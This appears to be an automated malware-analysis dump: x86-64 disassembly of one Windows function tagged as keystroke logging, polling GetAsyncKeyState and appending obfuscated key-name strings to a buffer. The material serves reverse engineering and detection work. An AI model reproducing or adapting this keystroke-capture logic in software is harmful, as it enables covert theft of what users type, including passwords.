Function at 0x140004c15
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov dword [rbp + 0x10], ecx
mov qword [rbp - 0x48], rdx
mov rax, qword [0x1400121d0]
mov rcx, qword [rax]
mov qword [rbp - 8], rcx
xor ecx, ecx
cmp dword [rbp + 0x10], 1
je 0x140004c40
cmp dword [rbp + 0x10], 2
jne 0x140004c4a
mov eax, 1
jmp 0x140004ed4
cmp dword [rbp + 0x10], 0x2f
jle 0x140004c8d
cmp dword [rbp + 0x10], 0x5a
jg 0x140004c8d
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
shr ax, 0xf
movzx eax, al
mov dword [rbp - 0x34], eax
cmp dword [rbp - 0x34], 0
je 0x140004c8d
mov eax, dword [rbp + 0x10]
mov edx, 2
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_MapVirtualKeyA]
call rax
sub eax, 0x20
mov dword [rbp + 0x10], eax
mov eax, dword [rbp + 0x10]
sub eax, 8
cmp eax, 0x26
ja case.0x140004cbc.10
mov eax, eax
lea rdx, [rax*4]
lea rax, [0x140011118]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x140011118]
add rax, rdx
jmp rax
lea rax, str._GFHPXUFHJb
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x140004ecf
mov rax, qword [rbp - 0x48]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov rdx, rax
mov rax, qword [rbp - 0x48]
add rax, rdx
mov word [rax], 0x6e5c
mov byte [rax + 2], 0
jmp 0x140004ecf
lea rax, str._XUFHJb
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x140004ecf
lea rax, str._YFGb
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x140004ecf
lea rax, str._XMNKYb
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x140004ecf
lea rax, str._HTSYWTQb
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x140004ecf
lea rax, str._JXHFUJb
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x140004ecf
lea rax, str._JSIb
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x140004ecf
lea rax, str._IJQJYJb
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x140004ecf
lea rax, str._MTRJb
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x140004ecf
lea rax, str._QJKYb
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x140004ecf
lea rax, str._ZUb
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x140004ecf
lea rax, str._WNLMYb
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x140004ecf
lea rax, str._ITSb
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0x48]
mov rcx, rax
call sub.msvcrt.dll_strcat
jmp 0x140004ecf
mov edx, dword [rbp + 0x10]
lea rax, [rbp - 0x30]
mov r9d, edx
lea r8, [0x140011112]
mov edx, 0x20
mov rcx, rax
call fcn.1400014e7
lea rdx, [rbp - 0x30]
mov rax, qword [rbp - 0x48]
mov rcx, rax
call sub.msvcrt.dll_strcat
nop
mov eax, 0
mov edx, eax
mov rax, qword [0x1400121d0]
mov rcx, qword [rbp - 8]
sub rcx, qword [rax]
je 0x140004eeb
call fcn.140005780
mov eax, edx
add rsp, 0x70
pop rbp
ret